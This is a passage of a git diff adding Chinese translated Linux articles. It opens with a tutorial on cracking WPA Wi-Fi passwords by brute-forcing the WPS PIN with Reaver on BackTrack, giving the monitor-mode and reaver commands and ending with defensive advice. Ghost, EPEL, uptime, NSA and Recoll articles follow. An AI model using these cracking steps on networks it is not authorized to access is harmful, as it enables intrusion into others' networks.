**最后,你还需要一点点的耐心**。这是整个实验的最后一步,使用Reaver破解WPA密码并不难,它采用的是暴力破解,因此,你的电脑将会测试大量不同的密码组合,来尝试破解路由器,直到最终找到正确的密码。我测试的时候,Reaver花了大概两个半小时破解了我的WiFi密码。[Reaver的主页][6]上介绍,一般这个时间在4到10个小时之间,视具体情况而定。 + +###让我们开始吧### + +此时,你应该已经把BackTrack的DVD光盘刻录好了,笔记本也应该已经准备就绪。 + +####第1步:启动BackTrack#### + +要启动BackTrack,只需将DVD放入光驱,电脑从光盘启动。(如果不知道如何使用live CD或DVD启动,请自行Google。)启动过程中,BackTrack会让你选择启动模式,选择默认的“BackTrack Text - Default Boot Text Mode”然后回车。 + +最终BackTrack会来到一个命令行界面,键入`startx`,回车,BackTrack就会进入它的图形界面。 + +####第2步:安装Reaver#### + +(文章更新:Reaver在R3版中已经预装,如果你安装的是BT5的R3版,这一步骤可以忽略,直接跳到第3步。) + +Reaver已经加入了BackTrack的最新版软件包,只是还没有集成到live DVD里,所以,在本文最初撰写的时候,你还需要手动安装Reaver。要安装Reaver,首先设置电脑联网。 + +1.点击Applications > Internet > Wicd Network Manager +2.选择你的网络并点击Connect,如果需要的话,键入密码,点击OK,然后再次点击Connect。 + +连上网以后,安装Reaver。点击菜单栏里的终端按钮(或者依次点击 Applications > Accessories > Terminal)。在终端界面,键入以下命令: + + apt-get update + +更新完成之后,键入: + + apt-get install reaver + +如果一切顺利,Reaver现在应该已经安装好了。如果你刚才的下载安装操作使用的是WiFi上网,那么在继续下面的操作之前,请先断开网络连接,并假装不知道WiFi密码 =。= 接下来我们要准备破解它~ + +####第3步:搜集设备信息,准备破解#### + +在使用Reaver之前,你需要获取你无线网卡的接口名称、路由的BSSID(BSSID是一个由字母和数字组成的序列,用于作为路由器的唯一标识)、以及确保你的无线网卡处于监控模式。具体参见以下步骤。 + +**找到无线网卡:**在终端里,键入: + + iwconfig + +回车。此时你应该看到无线设备的相关信息。一般,名字叫做`wlan0`,但如果你的机子不止一个无线网卡,或者使用的是不常见的网络设备,名字可能会有所不同。 + +![](http://img.gawkerassets.com/img/194prsh4oyo2mjpg/ku-xlarge.jpg) + +**将无线网卡设置为监控模式**:假设你的无线网卡接口名称为`wlan0`,执行下列命令,将无线网卡设置为监控模式: + + airmon-ng start wlan0 + +这一命令将会输出监控模式接口的名称,如下图中箭头所示,一般情况下,都叫做`mon0`。 + +![](http://img.gawkerassets.com/img/194prrjkz8yorjpg/ku-xlarge.jpg) + +**找到你打算破解的路由器的BSSID**:最后,你需要获取路由器的唯一标识,以便Reaver指向要破解的目标。执行以下命令: + + airodump-ng wlan0 + +(注意:如果`airodump-ng wlan0`命令执行失败,可以尝试对监控接口执行,例如`airodump-ng mon0`) + +此时,你将看到屏幕上列出周围一定范围内的无线网络,如下图所示: + +![](http://img.gawkerassets.com/img/194prtyebc284jpg/ku-xlarge.jpg) + +当看到你想要破解的网络时,按下Ctrl+C,停止列表刷新,然后复制该网络的BSSID(图中左侧字母、数字和分号组成的序列)。从ENC这一列可以看出,该网络是WPA或WPA2协议。(如果为WEP协议,可以参考我的[前一篇文章——WEP密码破解指南][7]) + +现在,手里有了BSSID和监控接口的名称,万事俱备,只欠破解了。 + +####第4步:使用Reaver破解无线网络的WPA密码#### + +在终端中执行下列命令,用你实际获取到的BSSID替换命令中的 `bssid` : + + reaver -i moninterface -b bssid -vv + +例如,如果你和我一样,监控接口都叫做 `mon0`,并且你要破解的路由器BSSID是`8D:AE:9D:65:1F:B2`,那么命令应该是下面这个样子: + + reaver -i mon0 -b 8D:AE:9D:65:1F:B2 -vv + +最后,回车!接下来,就是喝喝茶、发发呆,等待Reaver魔法的发生。Reaver将会通过暴力破解,尝试一系列PIN码,这将会持续一段时间,在我的测试中,Reaver花了2个半小时破解网络,得出正确密码。正如前文中提到过的,Reaver的文档号称这个时间一般在4到10个小时之间,因此根据实际情况不同,这个时间也会有所变化。当Reaver的破解完成时,它看起来是下图中这个样子: + +![](http://img.gawkerassets.com/img/18qpo7omnvkbejpg/ku-medium.jpg) + +**一些要强调的事实**:Reaver在我的测试中工作良好,但是并非所有的路由器都能顺利破解(后文会具体介绍)。并且,你要破解的路由器需要有一个相对较强的信号,否则Reaver很难正常工作,可能会出现其他一些意想不到的问题。整个过程中,Reaver可能有时会出现超时、PIN码死循环等问题。一般我都不管它们,只是保持电脑尽量靠近路由器,Reaver最终会自行处理这些问题。 + +除此以外,你可以在Reaver运行的任意时候按下Ctrl+C中断工作。这样会退出程序,但是Reaver下次启动的时候会自动恢复继续之前的工作,前提是只要你没有关闭或重启电脑(如果你直接在live DVD里运行,关闭之前的工作都会丢失)。 + +###Reaver的工作原理### + +你已经学会了使用Reaver,现在,让我们简单了解一下Reaver的工作原理。它利用了WiFi保护设置(WiFi Protected Setup - 下文中简称为WPS)的一个弱点,WPS是许多路由器上都有的一个功能,可以为用户提供简单的配置过程,它与设备中硬编码保存的一个PIN码绑定在一起。Reaver利用的就是PIN码的一个缺陷,最终的结果就是,只要有足够的时间,它就能破解WPA或WPA2的密码。 + +关于这个缺陷的具体细节,参看[Sean Gallagher's excellent post on Ars Technica][8]。 + +###如何防范Reaver攻击### + +该缺陷存在于WPS的实现过程中,因此,如果能够关闭WPS,WiFi就是安全的(或者,更好的情况是,你的路由器天生就木有这一功能)。但不幸的是,正如Gallagher[在Ars的文章中所指出的][9],即使在路由器设置中人为关掉了WPS,Reaver仍然能够破解其密码。 + +> 在一次电话通话中,Craig Heffner说道,很多路由器即使关闭WPS都无法有效防范攻击。他和同事一起测试过,所有的Linksys和Cisco Valet无线路由器都是如此。“在所有的Linksys路由器上,你甚至无法手动关闭WPS,”他说,尽管Web界面中有关闭WPS配置的按钮,但是“它仍然会自动打开,极易受到攻击”。 + +因此,方法一:失败!。也许你可以亲自尝试把你的路由器WPS关闭,然后测试一下Reaver是否还能成功破解。 + +你也可以在路由器中设置一下MAC地址过滤(只允许指定的白名单设备连接你的网络),但是有经验的黑客还是能够检测出设备的白名单MAC地址,并使用MAC地址仿冒你的计算机。 + +方法二:失败!那到底该怎么办? + +我的建议是,我曾经在我的路由器上安装了开源路由固件[DD-WRT][10],成功防御了Reaver攻击。因为,[DD-WRT天生就是不支持WPS的][11],因此,这成为了又一个我热爱自由软件的原因。如果你也对DD-WRT感兴趣,可以看一下这里的[设备支持列表][12],看是否支持你的路由器设备。除了安全上的升级,DD-WRT还可以[监控网络行为][13],[设置网络驱动器][14],[拦截广告][15],[增强WiFi信号范围][16]等,它完全可以[让你60美刀的路由器发挥出600美刀路由器的水平][17]! + +-------------------------------------------------------------------------------- + +via: http://lifehacker.com/5873407/how-to-crack-a-wi+fi-networks-wpa-password-with-reaver + +译者:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://lifehacker.com/5305094/how-to-crack-a-wi+fi-networks-wep-password-with-backtrack +[2]:http://code.google.com/p/reaver-wps/ +[3]:http://www.youtube.com/embed/z1c1OIMbmb0?wmode=transparent&rel=0&autohide=1&showinfo=0&enablejsapi=1 +[4]:http://www.backtrack-linux.org/downloads/ +[5]:http://www.backtrack-linux.org/downloads/ +[6]:http://code.google.com/p/reaver-wps/ +[7]:http://lifehacker.com/5305094/how-to-crack-a-wi+fi-networks-wep-password-with-backtrack +[8]:http://arstechnica.com/business/news/2011/12/researchers-publish-open-source-tool-for-hacking-wifi-protected-setup.ars +[9]:http://arstechnica.com/business/news/2012/01/hands-on-hacking-wifi-protected-setup-with-reaver.ars +[10]:http://dd-wrt.com/ +[11]:http://code.google.com/p/reaver-wps/issues/detail?id=44 +[12]:http://dd-wrt.com/wiki/index.php/Supported_Devices +[13]:http://lifehacker.com/5821773/how-to-monitor-your-internet-usage-so-you-dont-exceed-your-data-cap +[14]:http://lifehacker.com/5756233/get-more-out-of-your-dd+wrt-router-with-an-external-drive?tag=ddwrt +[15]:http://lifehacker.com/5680670/turn-your-dd+wrt-enabled-router-into-a-whole-house-ad-blocker?tag=ddwrt +[16]:http://lifehacker.com/5563196/turn-your-old-router-into-a-range+boosting-wi+fi-repeater?tag=ddwrt +[17]:http://lifehacker.com/178132/hack-attack-turn-your-60-router-into-a-600-router diff --git a/published/How to install Ghost blogging platform on Linux.md b/published/How to install Ghost blogging platform on Linux.md new file mode 100644 index 0000000000..c322871d01 --- /dev/null +++ b/published/How to install Ghost blogging platform on Linux.md @@ -0,0 +1,86 @@ +如何在Linux平台上安装Ghost博客平台 +=== +[Ghost][1]是一个相对较新的博客发布平台,它开始于众筹平台kickstarter上一个[£25,000英镑的众筹项目][2]。尽管WordPress依然是网上主流的博客工具,但它现在已然是一个拥有众多第三方开发功能的通用内容管理平台,发展到现在已经逐渐变得笨重、复杂以至于难以维护。但与此同时,仅仅诞生才几个月的Ghost坚持以用户为中心,打造精雕细琢的用户界面,承诺要做一个纯粹的博客平台。 + +在本教程中,我将描述**如何在Linux中设置Ghost博客平台**。 + +###在Linux上安装Ghost + +Ghost是使用Node.js框架编写的。因此,首先你需要在你的Linux系统上[安装Node.js框架][3]。确保Node.js的版本为0.10或者更高。接下来,登录入[http://ghost.org][1](需要注册),然后下载Ghost的源代码。记着按照下面的步骤安装: + + $ sudo mkdir -p /var/www/ghost + $ sudo unzip ghost-0.3.3.zip -d /var/www/ghost + $ cd /var/www/ghost + $ sudo npm install --production + +###启动前先配置Ghost +在你启动Ghost之前,按照下面的步骤在/var/www/ghost/config.js位置创建它的配置文件。使用你的主机IP地址替换掉“YOUR_IP”。 + + $ cd /var/www/ghost + $ sudo cp config.example.js config.js + $ sudo sed -i 's/127.0.0.1/YOUR_IP/g' config.js + +###以开发者模式尝试运行Ghost + +搞到这一步,你就可以准备去启动Ghost咯。 + +要注意的是,Ghost可以以两种不同的模式运行:“开发者模式”和“用户模式”。为了安全起见,Ghost将两种模式的配置文件(/var/www/ghost/config.js)分开存放。例如,两种不同的模式使用不同的数据库文件(例如位于/var/www/content/data的ghostdev.db和ghost.db)。 + +使用以下命令就可以启动Ghost。Ghost默认以开发者模式运行。 + + $ cd /var/www/ghost + $ sudo npm start + +Ghost成功运行后,终端中会有以下输出信息,告诉你Ghost正运行在:2368(译者注:2368为端口号)。 + +[![](http://farm8.staticflickr.com/7317/10881189204_d714f11321_z.jpg)][4] + +在你本机的浏览器中键入 http://:2368,身份校验后你就会看到Ghost的初始页面。 + +[![](http://farm4.staticflickr.com/3750/10881348733_f77d220de6_z.jpg)][5] + +###以用户身份启动Ghost + +在你确认Ghost运行完好后,按下Ctrl+C停用开发者模式下的Ghost。现在你就可以在用户模式下启动Ghost咯。当你以用户模式运行Ghost时,你就可以使用Node.js呼叫forever模块了,forever模块允许你以守护进程运行Ghost,还可以让你以后台进程运行Ghost。 + +安装forever模块: + + $ sudo npm install forever -g + +最后,你就可以以用户模式像下面这样运行Ghost: + + $ cd /var/www/ghost + $ sudo NODE_ENV=production forever start index.js + +检查一下Ghost的数据库文件是否成功以用户模式创建(/var/www/ghost/content/ghost.db)。 + +你也可以检查一下forever活动进程列表: + + $ sudo forever list + +- + + info: Forever processes running + data: uid command script forever pid logfile uptime + data: [0] cH0O /usr/bin/nodejs index.js 15355 15357 /home/dev/.forever/cH0O.log 0:0:0:37.741 + +假如你看到以上信息,意味着Ghost已经成功以后台进程运行咯。 + +想停止Ghost守护进程,可以运行以下命令: + + $ cd /var/www/ghost + $ sudo forever stop index.js + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2013/11/install-ghost-blogging-platform-linux.html + +译者:[Linux-pdz](https://github.com/Linux-pdz) 校对:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://ghost.org/ +[2]:http://www.kickstarter.com/projects/johnonolan/ghost-just-a-blogging-platform +[3]:http://ask.xmodulo.com/install-node-js-linux.html +[4]:http://www.flickr.com/photos/xmodulo/10881189204/ +[5]:http://www.flickr.com/photos/xmodulo/10881348733/ diff --git a/published/How to setup EPEL repository on CentOS 5 or 6.md b/published/How to setup EPEL repository on CentOS 5 or 6.md new file mode 100644 index 0000000000..cf7c759d49 --- /dev/null +++ b/published/How to setup EPEL repository on CentOS 5 or 6.md @@ -0,0 +1,100 @@ +如何在CentOS 5/6上安装EPEL 源 +================================================================================ + +EPEL 是什么? + +EPEL (Extra Packages for Enterprise Linux,企业版Linux的额外软件包) 是Fedora小组维护的一个软件仓库项目,为RHEL/CentOS提供他们默认不提供的软件包。这个源兼容RHEL及像CentOS和Scientific Linux这样的衍生版本。 + +我们可以很容易地通过yum命令从EPEL源上获取上万个在CentOS自带源上没有的软件。EPEL提供的软件包大多基于其对应的Fedora软件包,不会与企业版Linux发行版本的软件发生冲突或替换其文件。 + +更多关于EPEL 项目的细节可以到以下网站获取:[https://fedoraproject.org/wiki/EPEL][1] + +在文本中,我将展示在CentOS下如何安装EPEL源 + +> 提示 - RHEL/CentOS系统有许多第三方源,比较流行的比如RpmForge,RpmFusion,EPEL,Remi等等。 +> +> 然而需要引起注意的是,如果系统添加了多个第三方源,可能会因此产生冲突——一个软件包可以从多个源获取,一些源会替换系统的基础软件包,从而可能会产生意想不到的错误。已知的就有Rpmforge与EPEL会产生冲突。 +> +> 对于这些问题我们建议,调整源的优先权或者有选择性的安装源,但是这需要复杂的操作,如果你不确定如何操作,我们推荐你只安装一个第三方源。 + +## 在CentOS 上安装EPEL ## + +要想安装EPEL,我们先要下载EPEL的rpm安装包。 + +CentOS/RHEL下的6.x和5.x版本下载页面如下 + +[http://download.fedoraproject.org/pub/epel/6/i386/repoview/epel-release.html][2] +[http://download.fedoraproject.org/pub/epel/5/i386/repoview/epel-release.html][3] + +以上网址可能会被重定向到特定的镜像站而加快下载速度。这个页面包含可以直接获取到rpm包的下载链接。直接的下载链接如下: + +[http://download.fedoraproject.org/pub/epel/6/i386/epel-release-6-8.noarch.rpm][4] +[http://download.fedoraproject.org/pub/epel/5/i386/epel-release-5-4.noarch.rpm][5] + +根据你的CentOS 版本来选择正确的下载地址。 + +请注意EPEL 的安装包是独立编译的,所以它可以安装在32位和64位系统中。 + +### 1. 确认你的CentOS 的版本 ### + +首先通过以下命令确认你的CentOS 版本 + + $ cat /etc/redhat-release + CentOS release 6.4 (Final) + +### 2. 下载EPEL 的rpm 安装包 ### + +现在从上面的地址下载CentOS 版本所对应的EPEL 的版本 + + $ wget http://download.fedoraproject.org/pub/epel/6/i386/epel-release-6-8.noarch.rpm + +### 3. 安装EPEL ### + +通过以下命令安装EPEL 软件包 + + $ sudo rpm -ivh epel-release-6-8.noarch.rpm + +或 + + $ sudo rpm -ivh epel-release* + +### 5. 检查EPEL 源 ### + +安装好EPEL 源后,用yum 命令来检查是否添加到源列表 + + # yum repolist + Loaded plugins: fastestmirror + Loading mirror speeds from cached hostfile + * base: mirrors.vonline.vn + * epel: buaya.klas.or.id + * extras: centos-hn.viettelidc.com.vn + * updates: mirrors.fibo.vn + repo id repo name status + base CentOS-6 - Base 6,381 + epel Extra Packages for Enterprise Linux 6 - x86_64 10,023 + extras CentOS-6 - Extras 13 + nginx nginx repo 47 + updates CentOS-6 - Updates 1,555 + repolist: 18,019 + +EPEL已经在repo 后列出,并且显示提供了上万个软件包,所以EPEL 已经安装到你的CentOS了。 + +EPEL源的配置安装到了 **/etc/yum.repos.d/epel.repo** 文件。 + +现在来试一下从EPEL 获取软件包 + + $ sudo yum install htop + +-------------------------------------------------------------------------------- + +via: http://www.binarytides.com/setup-epel-repository-centos/ + +译者:[NearTan](https://github.com/NearTan) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://fedoraproject.org/wiki/EPEL +[2]:http://download.fedoraproject.org/pub/epel/6/i386/repoview/epel-release.html +[3]:http://download.fedoraproject.org/pub/epel/5/i386/repoview/epel-release.html +[4]:http://download.fedoraproject.org/pub/epel/6/i386/epel-release-6-8.noarch.rpm +[5]:http://download.fedoraproject.org/pub/epel/5/i386/epel-release-5-4.noarch.rpm \ No newline at end of file diff --git a/published/Linux Uptime Command – Find How Long Your System Been Running.md b/published/Linux Uptime Command – Find How Long Your System Been Running.md new file mode 100644 index 0000000000..ff67f5e0d9 --- /dev/null +++ b/published/Linux Uptime Command – Find How Long Your System Been Running.md @@ -0,0 +1,51 @@ +Linux Uptime 命令,让你知道你的系统运行了多久 +================================================================================ +![](http://linoxide.com/wp-content/uploads/2013/11/linux-uptime-command.png) + +对于一些人来说系统运行了多久是无关紧要的,但是对于服务器管理员来说,这是相当重要的信息。服务器在运行重要应用的时候,必须尽量保证长时间的稳定运行,有时候甚至要求零宕机。那么我们怎么才能知道服务器运行了多久呢? + +在Linux 下,我们可以使用uptime 命令,而且此命令不必使用root 权限。uptime 命令在系统中已经默认安装了。 + +语法如下: + + $ uptime + +你会在屏幕上看到如下显示: + +![](http://linoxide.com/wp-content/uploads/2013/11/uptime.png) + +这些信息保存在/proc/uptime 文件中,虽然是以文本方式保存,但是这些数据却不能直接显示,这就需要我们使用uptime 命令来翻译它。 + +以下是如何解读uptime 提供的信息: + +### 系统时间 ### + +在图1中,左起第一条信息是14:04:39,这就是当前系统时间,以24小时格式输出。 + +### 系统运行时间 ### + +第二条信息**Up 1004 days, 12:20**,这是显示你的系统运行时间。图1 显示你的系统已经运行了1004天12小时20分钟,如果你的系统没有运行超过24小时,这里将只会显示小时分钟或者只显示分钟。注意图2、图3的信息,当系统重启后将会清零。 + +![](http://linoxide.com/wp-content/uploads/2013/11/uptime_minutes.png) + +![](http://linoxide.com/wp-content/uploads/2013/11/uptime_hours1.png) + +### 已登录用户的数量 ### + +第三部分的信息是显示已登陆用户的数量。在图1中,显示的是**1 user** ,即当前登录用户数量。当多个用户在同时登陆系统时,uptime 命令将告诉你用户的数量。 + +### 平均负载量 ### + +最后一个信息是系统的平均负载量。回到图1,你看到这样带两位小数的数字**0.25, 0.25, 0.19**可以换算成百分比,即0.25和0.19分别代表着25%和19%。0.25, 0.25, 0.19分别代表着过去1分钟、5分钟、15分钟系统的平均负载量。负载量越低意味着你的系统性能越好。 + +这就是**uptime** 命令的日常使用指导,如果想获取更详细的信息,请通过输入**man uptime** 进入uptime 命令的manual 页面来查看。 + +你的机器已经运行多久了?贴出你的uptime给大家看看吧。 + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-command/linux-uptime-command/ + +译者:[NearTan](https://github.com/NearTan) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/NSA Asked Linus Torvalds To Give Them Backdoor Access In Linux, Says MEP.md b/published/NSA Asked Linus Torvalds To Give Them Backdoor Access In Linux, Says MEP.md new file mode 100644 index 0000000000..a0e85368a3 --- /dev/null +++ b/published/NSA Asked Linus Torvalds To Give Them Backdoor Access In Linux, Says MEP.md @@ -0,0 +1,40 @@ +这是玩笑吗?Linux之“祖父”认为NSA曾要求在Linux中植入后门 +================================================================================ +![](http://www.omgubuntu.co.uk/wp-content/uploads/2011/01/DSC01782.jpg) + +*照片中为大神Linus(左)和Benjamin Humphrey(译者注:该小伙儿为本文原文出处‘OMG!Ubuntu!’的联合创始人之一,现已离开OMGUbuntu)!照片摄于2011年* + +美国国家安全局([**NSA**][1])被称,他们曾经要求Linux的创始人,Linus Torvalds,在GNU/Linux中建立一个他们可以访问的“后门”。 + +这绝非谣言,Linus的父亲,Nils Torvalds如此说道。(译注:也许Nils可以算做是Linux的祖父?好吧,我是标题党,啦啦啦~ :D 无论如何,感谢他生了一个好儿子! ) + +作为欧洲议会(MEP)的成员之一,Nils出席了最近关于“欧盟公民监视问题”的委员会质询会议。根据爱德华·斯诺登泄露出的一些NSA文档,委员会对文档中列出的一些公司代表就所谓的“合作”进行了质询。 + +同属欧洲议会成员的瑞典盗版党主席Christian Engström就质问微软的发言人,其公司是否曾主动为NSA在他们的系统中植入过“后门”,(译者注:盗版党是一个以废除专利制度、维护公民隐私为宗旨的民间自发政党,最先在瑞典出现,传送门→[盗版党百度百科](http://baike.baidu.com/view/1104760.htm))。之后,Nils Torvalds[说道][2]: + +> 我的长子[Linus Torvalds]也被问到了同样的问题 —— “NSA是否曾要求他植入后门?”,当时他口中回答“No”,但同时却在点头。我的儿子有某种程度上的法律自由,他已经给出了正确的回答…… 每个人都明白,NSA的确曾要求他这么干过! + +如果这段描述让你觉着耳熟,你可以[看下Youtube上关于这一段的视频片段][3]。后来Linus坚称他当时只是开玩笑,[NSA并没有为此找过他][4]。 + +**但是,根据11月11号质询会议上的发言看来,他的父亲并不这么想。** + +根据文档,Google、[Yahoo!][5]、Facebook,[的确还有微软][6],都在NSA要求提供“后门”的合作公司之列,这一发现,虽不足以震惊全世界,但事实上,从大局考虑还是有意义的。毕竟,凭什么说NSA不会要求Linus这么做呢? + +Nils并没有解释Linus具体是如何回应的 —— 但我估计,这说明了两个问题,首先我们至少可以肯定的一点是,开源世界一直在努力防范类似事情成为可能; + +其次,如果真的有某些漏洞存在,NSA长长的触手早就已经把你的压箱底私房钱翻个底儿掉了。 + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2013/11/nsa-ask-linus-torvalds-include-backdoors-linux-father-says-yes + +译者:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.nsa.gov/ +[2]:http://youtu.be/EkpIddQ8m2s?t=3h09m06s +[3]:http://www.youtube.com/watch?v=7gRsgkdfYJ8 +[4]:http://mashable.com/2013/09/19/linus-torvalds-backdoor-linux/ +[5]:http://www.telegraph.co.uk/technology/internet-security/10459081/Yahoo-to-encrypt-internal-traffic-following-NSA-revelations.html +[6]:http://www.bbc.co.uk/news/technology-23285642 diff --git a/published/Play A Crossword Game With Adobe’s Leaked Passwords.md b/published/Play A Crossword Game With Adobe’s Leaked Passwords.md new file mode 100644 index 0000000000..aafc62437b --- /dev/null +++ b/published/Play A Crossword Game With Adobe’s Leaked Passwords.md @@ -0,0 +1,25 @@ +一个有关Adobe密码泄漏的字迷游戏 +==== +一个有关**Adobe**公司密码泄漏的字迷游戏现在可以在[http://zed0.co.uk/crossword/][1]上玩咯。作者创建这个游戏的初衷是为了告诉公众容易记忆的密码是非常不安全的,你不应该信任那些公司们会按照所谓最佳实践来存储你的密码,例如Adobe。 + +这个字迷游戏使用了从Adobe公司泄漏出来的最常见的1000个密码,从而提醒你,什么样的密码是不够强壮的,容易被破解的。假如你使用的密码就是字迷游戏中的这种密码,而且你还把它作为你的全球通用密码,那么你应该立即更换掉它。这样的密码非常糟糕!赶紧去更换掉它,趁现在还不太晚。 + +至于游戏本身,不但好玩而且有用。游戏作者介绍说,他的灵感来源于[xkcd #1286: Encryptic][2],他还说把这些泄漏的密码放出来并不会造成太大的安全隐患,因为很多人很早以前就能猜中这样的密码。 + +额,你还不知道Adobe公司的云安全事件? + +不久前,Adobe公司成了网络攻击者的目标。Adobe公司的安全团队发现了一起针对Adobe公司内部网络的复杂攻击,攻击获取了Adobe公司的客户信息并盗取了数个Adobe公司产品的源代码。根据Adobe公司官方博客上的安全告示,攻击者盗取了Adobe用户的账户ID以及登录密码。但是Adobe公司的安全团队并不认为与账户关联的信用卡信息或者资金账户信息会一并被盗取。 + +你可以点击[这儿][3]阅读更多相关的安全公告。 + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/play-crossword-game-adobes-leaked-passwords/ + +译者:[Linux-pdz](https://github.com/Linux-pdz) 校对:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://zed0.co.uk/crossword/ +[2]:http://www.xkcd.com/1286/ +[3]:http://www.unixmen.com/illegal-access-adobe-source-code/ diff --git a/published/Recoll--Text Search Tool For Unix And Linux Desktops.md b/published/Recoll--Text Search Tool For Unix And Linux Desktops.md new file mode 100644 index 0000000000..6382172173 --- /dev/null +++ b/published/Recoll--Text Search Tool For Unix And Linux Desktops.md @@ -0,0 +1,132 @@ +Recoll:Unix和Linux桌面的文本搜索工具 +=== +[Recoll][1]是一个Unix和Linux桌面的文本搜索工具。Recoll可以搜索文件名和文件内的关键字。 + +Recoll可以为你做到以下这些。 + + - 它可以搜索任何格式的文件 + - 支持通配符 + - 可以依据文件的作者、类型、大小和格式等条件进行搜索 + - 可以搜索存储在任何位置的文件,例如文件、归档文件、邮件附件等 + - 支持桌面和网站集成 + - 具备火狐插件,可索引web页的历史 + - 点击一下搜索结果就可以在本地编辑器内打开或者显示文本预览 + - 它是免费的开源的,在GPL许可下发布 + +###在Ubuntu/Linux Mint上安装Recoll + +Recoll在Ubuntu仓库里可以找到。然而,最好添加Recoll的仓库以便安装最新版本。 + +使用以下命令添加Recoll仓库: + + sudo add-apt-repository + +使用命令更新软件列表: + + sudo apt-get update + +现在就可以使用下面的命令安装Recoll。 + + sudo apt-get install recoll + +对于其它的发行版,可以去[下载页面][2]下载源代码并编译安装。 + +###启动Recoll + +Recoll可以从Dash或者菜单中启动。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Menu_0014.jpg) + +第一次启动时,你需要索引整个home目录。依据你 home 目录里储存的东西的多少,需要的时间不等。按下**Start indexing now**按钮开始索引。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Recoll_002.jpg) + +假如你想更多的自定义索引,可以调整索引配置和索引计划。要做到这一点,只需要点击一下**Indexing configuration**或者**Indexing schedule**链接。假如你要稍后再去配置,你可以在Preferences(首选项)菜单里配置这些选项。 + +一旦索引完成,你就可以搜索文件/文件夹了。结果将根据相关性展现,并显示匹配的一小部分内容。 + +###配置 + +正如上面提到的,假如你想更多的控制索引的细节,你可以调节Recoll的索引功能。 +在Recoll的工具中有两个配置项 + +1. 索引配置 +2. 索引计划 + +让我们来看一下上面这两个的简短描述。 + +**索引配置**可以让你索引时决定包含哪些目录以及排除哪些目录。默认情况下索引时将包含整个home目录。你可以在这儿从索引中添加或移除目录。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/home-sk-.recoll-_003.jpg) + +你也可以定义web历史队列以及储存web页面的最大容量。 + +**index schedule**则是可以让制定一个计划以便于进行自动索引或者当你登陆系统后就进行实时索引。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Index-scheduling-setup_004.jpg) + +Recoll支持两种索引计划: + +**Cron任务** - 决定什么时候开始运行以及写入Crontab键值。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Cron-Dialog_006.jpg) + +以上这个屏幕截图中,Recoll的cron任务会在每天上午12点的时候执行。设置完cron任务后,点击enable键激活它就可以咯。 + +**启动时实时索引** - 决定是否当你登陆入系统时进行实时索引。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Real-time-indexing-automatic-start_007.jpg) + +激活这一选项,recoll的守护程序都会随系统启动。要注意的是这一选项只有在默认索引设置的情况下才可用。 + +###基本搜索 + +现在你已经对Recoll了解的足够多了。是时候去搜索一下文件或者文件夹了。这个应用的美妙之处就在于它既可以搜索文件名还可以搜索文件内的关键词。 + +在Recoll的用户界面中,在顶部右边的搜索栏中键入要搜索的关键字,然后点击Search按钮。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Recoll_008.jpg) + +如你在上图所见,精确相关的内容将会显示还能预览到一小部分内容。你可以点击Open按钮直接打开搜索到的文件,或者在打开它之前使用预览按钮预览它。 + +你还可以过滤搜索结果,使用分类例如媒体、消息、其它、演示文档、电子表格或者文本等。更重要的是,你还可以选择匹配任一项、全部项、文件名或者语言等的搜索结果。 + +###高级搜索 + +点击菜单栏中的高级搜索图标或者前往**Tools->Advanced Search**。这将打开一个新的对话窗口。在这儿你可以附加更多的限制条件来进行搜索。例如我可以搜索文件内容里含有关键字“hp”以及文件名含有“storage”的文件。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Recoll_008.jpg) + +这将找到并显示文件内含有关键字“hp”且文件名含有“storage”的文件。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Recoll_012.jpg) + +###Unity桌面以及网站集成 + +这个应用支持桌面集成以及网站集成。假如你要把它集成到你的Ubuntu的Unity桌面中去,你可以用下面的命令安装**recoll-lens**。 + + sudo apt-get install recoll-lens + +请注意,lens限制显示结果最多显示20条。假如你要显示更多数目的搜索结果,编辑**rclsearch.py**,修改“**if actual_results >= 20:**”这一行就可以咯。 + +假如你使用火狐浏览器,要去搜索你每天访问的浏览历史,你可以使用这个[火狐扩展][3]。这个火狐扩展可以和Recoll一起工作去索引你全天浏览的网站。在安装完这个扩展之后,在Recoll的索引配置中从web历史标签页中激活它就可以咯。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/home-sk-.recoll-_013.jpg) + +所有的Linux都在他们的文件管理器中内建了搜索功能,以便于尽可能容易的搜索文件/文件夹。对于那些不满足于内置搜索功能并想寻找更高级文本搜索工具的人来说,Recoll是个值得一试的工具。我认为,这真是个容易使用且功能强大的工具,对基本搜索如此,对高级搜索也是如此. + +欢呼吧! + +如有问题,请参考我们的Q/A论坛 : http://ask.unixmen.com/ 。 + +-------------------------------------------------------------------------------- + +via: 